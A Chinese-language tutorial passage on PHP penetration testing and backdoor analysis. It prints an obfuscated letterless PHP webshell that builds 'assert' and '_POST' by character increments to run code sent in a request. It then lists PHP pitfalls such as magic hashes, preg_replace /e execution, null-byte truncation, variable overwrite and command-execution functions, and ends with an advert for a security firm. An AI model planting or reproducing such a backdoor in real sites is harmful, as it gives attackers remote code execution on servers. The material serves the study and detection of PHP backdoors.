php代码渗透测试 后门分析篇( 三 )


$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___(_decode($_[_]));
4.1.8. 其它
 

php代码渗透测试 后门分析篇

文章插图
 
 
4.1.8.1. 低精度
php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误 。比如 php -r "var_dump(0.2+0.7==0.9);" 这行代码的输出是 bool(false) 而不是 bool(true) 。这在一些情况下可能出现问题 。
4.1.8.2. 弱类型
如果使用 == 来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是 0e[0-9]{30} 的时候,就会认为两个hash值相等 。另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php" 的结果会是true
另外在判断一些hash时,如果传入的是数组,返回值会为 NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型 。
同样的, strcmp() ereg() strpos() 这些函数在处理数组的时候也会异常,返回NULL 。
4.1.8.3. 命令执行
preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行
4.1.8.4. 截断
PHP字符存在截断行为,可以使用 ereg / %00 / iconv 等实现php字符截断的操作,从而触发漏洞 。
4.1.8.5. 变量覆盖
当使用 extract / parse_str 等函数时,或者使用php的 $$ 特性时,如果没有正确的调用,则可能使得用户可以任意修改变量 。
4.1.8.6. 执行系统命令
禁用的函数可以在phpinfo中的 disable_functions 中查看
  • pcntl_exec
  • exec
  • passthru
  • popen
  • shell_exec
  • system
  • proc_open
4.1.8.7. Magic函数
  • __construct() __destruct()
  • __call() __callStatic()
  • __get() __set()
  • __isset() __unset()
  • __sleep() __wakeup()
  • __toString()
  • __invoke()
  • __set_state()
  • __clone()
  • __debugInfo()
4.1.8.8. 文件相关敏感函数
  • move_uploaded_file
  • file_put_contents / file_get_contents
  • unlink
  • fopen / fgets
4.1.8.9. php特性
  • php自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线,讲了那么多渗透测试中PHP后门的安全检测方法,那么如果对此有需求的朋友可以咨询专业的网站安全公司来做渗透测试 。




推荐阅读